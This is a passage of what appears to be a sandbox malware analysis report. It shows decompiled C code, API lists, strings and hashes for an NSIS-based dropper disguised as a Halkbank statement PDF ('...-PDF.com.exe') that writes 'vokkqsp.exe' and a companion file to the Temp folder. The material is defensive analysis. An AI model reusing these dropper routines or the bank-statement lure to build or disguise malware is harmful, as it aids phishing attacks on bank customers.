				GetModuleFileNameW(0, L"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe", 0x400);
				_t106 = E00406158(L"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe", 0x80000000, 3);
				 *0x40a018 = _t106;
				if(_t106 == 0xffffffff) {
					return L"Error launching installer";
				}
				E00406668(L"C:\\Users\\jones\\Desktop", L"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe");
				E00406668(0x439000, E00405F83(L"C:\\Users\\jones\\Desktop"));
				_t54 = GetFileSize(_t106, 0);
				 *0x420f00 = _t54;
				_t110 = _t54;
				if(_t54 <= 0) {
					L24:
					E0040302E(1);
					if( *0x42a274 == _t94) {
						goto L32;
					}
					if(_v12 == _t94) {
						L28:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t111 = _t57;
						E00406B90(0x40ce68);
						E00406187(0x40ce68,  &_v560, L"C:\\Users\\jones\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileW( &_v560, 0xc0000000, _t94, _t94, 2, 0x4000100, _t94); // executed
						 *0x40a01c = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E004035F8( *0x42a274 + 0x1c);
							 *0x420f04 = _t65;
							 *0x420ef8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E00403371(_v16, 0xffffffff, _t94, _t111, _v20); // executed
							if(_t68 == _v20) {
								 *0x42a270 = _t111;
								 *0x42a278 =  *_t111;
								if((_v40 & 0x00000001) != 0) {
									 *0x42a27c =  *0x42a27c + 1;
								}
								_t45 = _t111 + 0x44; // 0x44
								_t70 = _t45;
								_t102 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t111;
									_t102 = _t102 - 1;
								} while (_t102 != 0);
								 *((intOrPtr*)(_t111 + 0x3c)) =  *0x420ef4;
								E00406113(0x42a280, _t111 + 4, 0x40);
								return 0;
							}
							goto L32;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E004035F8( *0x420ef0);
					if(E004035E2( &_a4, 4) == 0 || _v8 != _a4) {
						goto L32;
					} else {
						goto L28;
					}
				} else {
					do {
						_t107 = _t110;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x42a274) & 0x00007e00) + 0x200;
						if(_t110 >= _t82) {
							_t107 = _t82;
						}
						if(E004035E2(0x418ef0, _t107) == 0) {
							E0040302E(1);
							L32:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x42a274 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E0040302E(0);
							}
							goto L20;
						}
						E00406113( &_v40, 0x418ef0, 0x1c);
						_t89 = _v40;
						if((_t89 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
							_a4 = _a4 | _t89;
							 *0x42a300 =  *0x42a300 | _a4 & 0x00000002;
							_t92 = _v16;
							 *0x42a274 =  *0x420ef0;
							if(_t92 > _t110) {
								goto L32;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v12 = _v12 + 1;
								_t110 = _t92 - 4;
								if(_t107 > _t110) {
									_t107 = _t110;
								}
								goto L20;
							} else {
								break;
							}
						}
						L20:
						if(_t110 <  *0x420f00) {
							_v8 = E00406B22(_v8, 0x418ef0, _t107);
						}
						 *0x420ef0 =  *0x420ef0 + _t107;
						_t110 = _t110 - _t107;
					} while (_t110 != 0);
					_t94 = 0;
					goto L24;
				}
			}

0x004030db
0x004030de
0x004030e1
0x004030fb
0x00403100
0x00403113
0x00403118
0x0040311e
0x00000000
0x00403120
0x00403131
0x00403142
0x00403149
0x00403151
0x00403156
0x00403158
0x00403243
0x00403245
0x00403251
0x00000000
0x00000000
0x0040325a
0x00403286
0x0040328b
0x00403296
0x00403298
0x004032a9
0x004032c4
0x004032cd
0x004032d2
0x004032f1
0x00403301
0x00403313
0x00403318
0x00403320
0x0040332d
0x00403335
0x0040333a
0x0040333c
0x0040333c
0x00403344
0x00403344
0x00403347
0x00403348
0x00403348
0x0040334b
0x0040334d
0x0040334d
0x00403357
0x00403363
0x00000000
0x00403368
0x00000000
0x00403320
0x00000000
0x004032d4
0x00403262
0x00403274
0x00000000
0x00000000
0x00000000
0x00000000
0x0040315e
0x00403163
0x00403168
0x0040316c
0x00403173
0x0040317a
0x0040317c
0x0040317c
0x00403187
0x004032e0
0x00403322
0x00000000
0x00403322
0x00403194
0x00403214
0x00403218
0x0040321d
0x00000000
0x00403214
0x0040319d
0x004031a2
0x004031aa
0x004031d0
0x004031df
0x004031e5
0x004031ea
0x004031f0
0x00000000
0x00000000
0x004031fa
0x00403202
0x00403205
0x0040320a
0x0040320c
0x0040320c
0x00000000
0x00000000
0x00000000
0x00000000
0x004031fa
0x0040321e
0x00403224
0x00403230
0x00403230
0x00403233
0x00403239
0x00403239
0x00403241
0x00000000
0x00403241

APIs

GetTickCount.KERNEL32 ref: 004030E4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,00000400), ref: 00403100

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,80000000,00000003), ref: 00403149
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328B

Strings

soft, xrefs: 004031BE
C:\Users\user\Desktop, xrefs: 0040312B, 00403130, 00403136
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403322
Null, xrefs: 004031C7
C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe, xrefs: 004030EA, 004030F9, 0040310D, 0040312A
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D4
Error launching installer, xrefs: 00403120
Inst, xrefs: 004031B5
C:\Users\user\AppData\Local\Temp\, xrefs: 004030DA, 004032A3

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-721760834
Opcode ID: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction ID: 6a7077609e6cbe8902eef3654a796be60faa9129f620d49927b75729aeb44cd1
Opcode Fuzzy Hash: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction Fuzzy Hash: 74710271A40204ABDB20DFB5DD85B9E3AACAB04315F21457FF901B72D2CB789E418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405FAE( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"\"C:\\";
				if(_t35 == 0) {
					lstrcatW(E00405F37(E00406668(_t81, L"C:\\Users\\jones\\AppData\\Local\\Temp")), ??);
				} else {
					E00406668();
				}
				E004068EF(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E0040699E(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406133(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00406158(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004056CA(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x42a2e8;
						goto L32;
					} else {
						E00406668(0x40b5f8, _t83);
						E00406668(_t83, _t81);
						E004066A5(_t77, _t81, _t83, "C:\Users\jones\AppData\Local\Temp",  *((intOrPtr*)(_t86 - 0x1c)));
						E00406668(_t83, 0x40b5f8);
						_t64 = E00405CC8("C:\Users\jones\AppData\Local\Temp",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x42a2e8 =  &( *0x42a2e8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E004056CA();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004056CA(0xffffffea,  *(_t86 - 8));
				 *0x42a314 =  *0x42a314 + 1;
				_t45 = E00403371(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x42a314 =  *0x42a314 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E004066A5(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E004066A5(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405CC8();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000000,00000000,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,C:\Users\user\AppData\Local\Temp,?,?,00000031), ref: 004017D5

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp, xrefs: 0040179E
"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp
API String ID: 1941528284-227601704
Opcode ID: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
Instruction ID: 87dd38174d63fc88252c3cacf76d35d2aef1a13c6195c1d88e2760da23471212
Opcode Fuzzy Hash: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
Instruction Fuzzy Hash: DE41B771500205BACF10BBB5CD85DAE7A75EF45328B20473FF422B21E1D63D89619A2E

Uniqueness

Uniqueness Score: -1.00%

Function 004069C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004069C5(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004069dc
0x004069e5
0x004069e7
0x004069e7
0x004069eb
0x004069fe
0x004069f8
0x004069f8
0x004069f8
0x00406a17
0x00406a2b
0x00406a32

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
wsprintfW.USER32 ref: 00406A17
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Strings

%s%S.dll, xrefs: 00406A11
UXTHEME, xrefs: 004069CE
\, xrefs: 004069ED

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: e2ac2e7087162e0187f8b4d6776822ec24d6e31928394cf94a41c199a4feb156
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: 3AF096B154121DA7DB14AB68DD0EF9B366CAB00705F11447EA646F20E0EB7CDA68CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405B99 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405B99(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405ba4
0x00405ba8
0x00405bab
0x00405bb1
0x00405bb5
0x00405bb9
0x00405bc1
0x00405bc8
0x00405bce
0x00405bd5
0x00405bdc
0x00405be4
0x00405be6
0x00000000
0x00405be6
0x00405bf0
0x00405bf7
0x00405c0d
0x00000000
0x00000000
0x00000000
0x00405c0f
0x00405c13

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC
GetLastError.KERNEL32 ref: 00405BF0
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C05
GetLastError.KERNEL32 ref: 00405C0F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BBF

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3081826266
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 886f74eda6482ab63e8fe18d08a652fea41827dc0a526659a7d7b5e138c44e4e
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 95010871D04219EAEF009FA1CD44BEFBBB8EF14314F04403ADA44B6180E7789648CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00403479 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00403479(intOrPtr _a4) {
				intOrPtr _t11;
				signed int _t12;
				void* _t14;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t37;
				intOrPtr _t49;

				_t34 =  *0x420ef4 -  *0x40ce60 + _a4;
				 *0x42a26c = GetTickCount() + 0x1f4;
				if(_t34 <= 0) {
					L22:
					E0040302E(1);
					return 0;
				}
				E004035F8( *0x420f04);
				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
				 *0x420f00 = _t34;
				 *0x420ef0 = 0;
				while(1) {
					_t31 = 0x4000;
					_t11 =  *0x420ef8 -  *0x420f04;
					if(_t11 <= 0x4000) {
						_t31 = _t11;
					}
					_t12 = E004035E2(0x414ef0, _t31);
					if(_t12 == 0) {
						break;
					}
					 *0x420f04 =  *0x420f04 + _t31;
					 *0x40ce80 = 0x414ef0;
					 *0x40ce84 = _t31;
					L6:
					L6:
					if( *0x42a270 != 0 &&  *0x42a300 == 0) {
						 *0x420ef0 =  *0x420f00 -  *0x420ef4 - _a4 +  *0x40ce60;
						E0040302E(0);
					}
					 *0x40ce88 = 0x40cef0;
					 *0x40ce8c = 0x8000; // executed
					_t14 = E00406BB0(0x40ce68); // executed
					if(_t14 < 0) {
						goto L20;
					}
					_t36 =  *0x40ce88; // 0x40e158
					_t37 = _t36 - 0x40cef0;
					if(_t37 == 0) {
						__eflags =  *0x40ce84; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t31;
						if(_t31 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x420ef4;
						if(_t16 -  *0x40ce60 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
						goto L22;
					}
					_t18 = E0040620A( *0x40a01c, 0x40cef0, _t37); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40ce60 =  *0x40ce60 + _t37;
					_t49 =  *0x40ce84; // 0x0
					if(_t49 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x00403489
0x0040349c
0x004034a1
0x004035d1
0x004035d3
0x00000000
0x004035d9
0x004034ad
0x004034c0
0x004034c6
0x004034cc
0x004034d7
0x004034dc
0x004034e1
0x004034e9
0x004034eb
0x004034eb
0x004034f4
0x004034fb
0x00000000
0x00000000
0x00403501
0x00403507
0x0040350d
0x00000000
0x00403513
0x00403519
0x00403539
0x0040353e
0x00403543
0x00403549
0x0040354f
0x00403559
0x00403560
0x00000000
0x00000000
0x00403562
0x00403568
0x0040356a
0x0040358d
0x00403593
0x00000000
0x00000000
0x00403595
0x00403597
0x00000000
0x00000000
0x00403599
0x00403599
0x004035ac
0x00000000
0x00000000
0x004035bb
0x00000000
0x004035bb
0x00403574
0x0040357b
0x004035c8
0x004035ce
0x004035ce
0x00000000
0x004035ce
0x0040357d
0x00403583
0x00403589
0x00000000
0x00000000
0x00000000
0x004035cc
0x004035cc
0x00000000
0x004035cc
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040348D

Part of subcall function 004035F8: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 004034C0
SetFilePointer.KERNELBASE(?,00000000,00000000,00414EF0,00004000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000), ref: 004035BB

Strings

X@, xrefs: 00403549, 00403562

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: X@
API String ID: 1092082344-2850556465
Opcode ID: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction ID: 4a0f782daef8a724a5dada35133bb9654e3c612a62d69fcdf17392b9264be50a
Opcode Fuzzy Hash: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction Fuzzy Hash: 3A31AEB2650205EFC7209F29EE848263BADF70475A755023BE900B22F1C7B59D42DB9D

Uniqueness

Uniqueness Score: -1.00%

